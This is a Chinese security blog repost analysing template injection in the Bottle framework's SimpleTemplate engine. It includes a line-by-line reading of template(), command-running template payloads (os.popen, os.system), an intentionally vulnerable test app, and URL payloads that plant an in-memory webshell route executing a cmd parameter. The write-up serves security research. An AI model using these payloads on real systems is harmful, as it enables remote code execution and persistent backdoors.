Bottle框架的模板引擎安全问题分析

admin 2025年3月31日23:30:16评论40 views字数 4674阅读15分34秒阅读模式
时隔多日 

表哥又跟大家分享知识了!!!

气温骤降大家记得加衣哦!

zh...ēn... ...冷...ěng... ...啊...a... ...

冻...òng...sǐ... ...我...o... ...了... ...

Bottle框架的模板引擎安全问题分析
Bottle框架的模板引擎安全问题分析 

Bottle框架的模板引擎安全问题分析 
Bottle框架的模板引擎安全问题分析

Bottle框架的模板引擎安全问题分析

Bottle框架介绍

文章首发于先知社区:

https://xz.aliyun.com/news/17430

Bottle框架的模板引擎安全问题分析
Bottle是一个轻量级的 Python Web单文件框架,仅包含一个 py文件,不依赖外部库,适用于小型 Web 应用和嵌入式系统开发。它提供了路由、模板、请求处理等基本功能,适合快速构建简单的 Web 应用。

Bottle框架的模板引擎安全问题分析
优点

- 因为bottle框架是一个单文件框架 所以比较轻量级 零依赖

- 简单易用 API 设计简洁,适合快速开发小型 Web 应用或 API。

- 自带 WSGI 服务器(基于 wsgiref),也支持 GunicornPaste 等服务器。

- Bottle 自带一个内置模板引擎,称为 SimpleTemplate(stpl),不依赖第三方库。此外,它还支持其他模板引擎,如 Jinja2Mako 和 Cheetah,但这些需要额外安装。

缺点

由于是单文件框架,所以功能有限而且性能比较一般

Bottle框架的安全问题主要出现在SimpleTemplate模板引擎的使用上,接下来对模板引擎的安全问题进行分析

Bottle的SimpleTemplate引擎

Bottle框架的模板引擎安全问题分析
Bottle自带了一个快速,强大,易用的模板引擎,名为 SimpleTemplate或简称为 stpl 。它是 view()template() 两个函数默认调用的模板引擎。

Bottle框架的模板引擎安全问题分析
bottle.template() 底层实现解析

bottle.template()负责解析并渲染模板,支持:

模板名称(即模板文件路径,如 index.tpl

模板字符串(如Hello {{name}}

- 模板对象(如 SimpleTemplate 实例)

函数的执行流程

函数实现源码

def template(*args, **kwargs):    """    Get a rendered template as a string iterator.    You can use a name, a filename or a template string as first parameter.    Template rendering arguments can be passed as dictionaries    or directly (as keyword arguments).    """    tpl = args[0if args else None    for dictarg in args[1:]:        kwargs.update(dictarg)    adapter = kwargs.pop('template_adapter', SimpleTemplate)    lookup = kwargs.pop('template_lookup', TEMPLATE_PATH)    tplid = (id(lookup), tpl)    if tplid not in TEMPLATES or DEBUG:        settings = kwargs.pop('template_settings', {})        if isinstance(tpl, adapter):            TEMPLATES[tplid] = tpl            if settings: TEMPLATES[tplid].prepare(**settings)        elif "n" in tpl or "{" in tpl or "%" in tpl or '$' in tpl:            TEMPLATES[tplid] = adapter(source=tpl, lookup=lookup, **settings)        else:            TEMPLATES[tplid] = adapter(name=tpl, lookup=lookup, **settings)    if not TEMPLATES[tplid]:        abort(500'Template (%s) not found' % tpl)    return TEMPLATES[tplid].render(kwargs)
下面对源码实现进行逐行分析

解析并合并args参数

tpl = args[0] if args else None

如果 args 非空,则 tpl 取 args[0] 作为模板(文件名、字符串或 SimpleTemplate 对象)

for dictarg in args[1:]:    kwargs.update(dictarg)

如果 args 传入了多个字典参数,kwargs 需要合并它们。

template("index.tpl", {"name": "Alice"}, {"age": 25}) 等价于 template("index.tpl", name="Alice", age=25)

选择模板适配器adapter

adapter = kwargs.pop(template_adapterSimpleTemplate)

template_adapter 默认是 SimpleTemplate,可用于替换其他模板引擎(如 Jinja2)。

lookup = kwargs.pop(template_lookup, TEMPLATE_PATH)

lookup 来设置模板搜索路径

生成模板缓存id

tplid = (id(lookup), tpl)

tplid 由 lookup(模板路径)和 tpl(模板名称或内容)组合而成。用于缓存模板,避免重复解析。

解析并缓存模板

if tplid not in TEMPLATES or DEBUG:

TEMPLATES 是全局缓存,存储已解析的模板对象。 DEBUG=True 时,每次都重新解析,避免修改模板后缓存导致更新失败。

if isinstance(tpl, adapter):   TEMPLATES[tplid] = tpl

如果 tpl 已经是一个 SimpleTemplate 实例,直接存入缓存

elif "n" in tpl or "{" in tpl or "%" in tpl or '$' in tpl:TEMPLATES[tplid] = adapter(source=tpl, lookup=lookup, **settings)

如果 tpl 是 字符串,并且包含 n、{}、%、$,则认为是模板字符串直接解析。

else: TEMPLATES[tplid] = adapter(name=tpl, lookup=lookup, **settings)

否则,认为 tpl是 文件路径,从 lookup 路径中加载。

处理错误

if not TEMPLATES[tplid]:

    abort(500, 'Template (%s) not found' % tpl)

如果模板加载失败,返回 HTTP 500 错误。

渲染模板

return TEMPLATES[tplid].render(kwargs)

render(kwargs) 传入所有变量,渲染最终 HTML。

SimpleTemplate 语法

Bottle框架的模板引擎安全问题分析
Bottle 的 SimpleTemplate 使用类似 Python 的语法,支持:

- 变量插入

- 逻辑控制(条件、循环)

- 代码执行

- 过滤器和函数

Bottle框架的模板引擎安全问题分析
 代码执行

bottle框架的代码执行是基于变量插入到模板中的

嵌入Python代码

官方文档

Bottle框架的模板引擎安全问题分析
也就是说 除了使用{和}进行代码执行 在SimpleTemplate模板下我们可以使用%来执行python代码。但是我们的%所在的那一行%的前面只能有空白字符,所以需要我们换行 %0a

% 必须是行的开头,没有其他字符(除了空白字符),否则会被误认为是普通 HTML 或文本内容。

这意味着,如果在%前加上文本或标签(如 <div>),那么模板引擎就不会将这一行视为 Python 代码执行,而是将其当作 HTML 元素来处理。

综上 bottle中的代码执行有以下几种方式

  • {{}} 花括号 只能执行单行表达式。 但是不用分隔符分隔
  {{ __import__('os').popen('whoami').read() }}
  • {{! }} 只能执行单行表达式。也不用分隔符分隔
{{!__import__('os').popen('whoami').read() }}
  • 换行后% 之后换行与html分割

    % __import__('os').system('calc')  直接执行 也可执行多行python表达式如下:

% import os  % os.system("id")
  • <% ···%>*块级代码
<%    import os    os.system("id")  %>
Bottle框架的内存马

测试代码

python

from bottle import template, Bottle,request,error  app = Bottle()  @app.route('/shell')def index():    result = request.params.get('cmd')    return template('Hello {{result}}', result=result) @app.route('/')  def index():    return 'Hello world'  if __name__ == '__main__':    app.run(host='127.0.0.1', port=8888,debug=True)

传入cmd 可以进行代码执行

路由解析

其实python框架的内存马都大同小异,生成内存马,就是要注入一段能够命令执行的代码,将这段代码绑定到某个自定义路由上,所以我们需要对路由解析的原理进行分析

跟进装饰器的route函数

Bottle框架的模板引擎安全问题分析
Bottle框架的模板引擎安全问题分析
跟进代码 

Bottle框架的模板引擎安全问题分析
使用`@app.route装饰器`时,会调用add_route方法将路由添加到应用中。如果能够动态获取到Bottle应用实例,就可以通过类似的方式添加自己的路由。例如,通过某种方式获取到app对象后,执行类似app.route('/malicious',method='GET')(malicious_callback)的代码,这样就会将恶意回调绑定到指定的路由上,从而实现内存马的注入。

在代码的最后 调用add_route函数 

Bottle框架的模板引擎安全问题分析
callback传入

由上分析,我们知道可以传入恶意回调函数从而绑定路由,那么我们需要去寻找一个可以自定义函数 由对其他框架内存马分析的启示 我们得到 可以通过使用lambda关键字定义的匿名函数

lambda arguments: expression语法很简单.

http://127.0.0.1:8888/shell?cmd=app.route("/memshell","GET",lambda :__import__('os').popen('calc').read)
Bottle框架的模板引擎安全问题分析
成功传入内存马 我们访问/memshell路由会发现成功弹出计算器

Bottle框架的模板引擎安全问题分析
Payload

写入payload如下

http://127.0.0.1:8888/shell?cmd=app.route("/memshell","GET",lambda :__import__('os').popen(request.params.get('cmd')).read)

我们向/memshell路由底下写入内存马 接收get传入的cmd参数

Bottle框架的模板引擎安全问题分析
成功命令执行

当然bottle框架中还有其他思路进行写入内存马 在这就先提供简单的一种思路

 

原文始发于微信公众号(SKSEC):【表哥有话说 第115期】Bottle框架的模板引擎安全问题分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月31日23:30:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Bottle框架的模板引擎安全问题分析https://cn-sec.com/archives/3896957.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息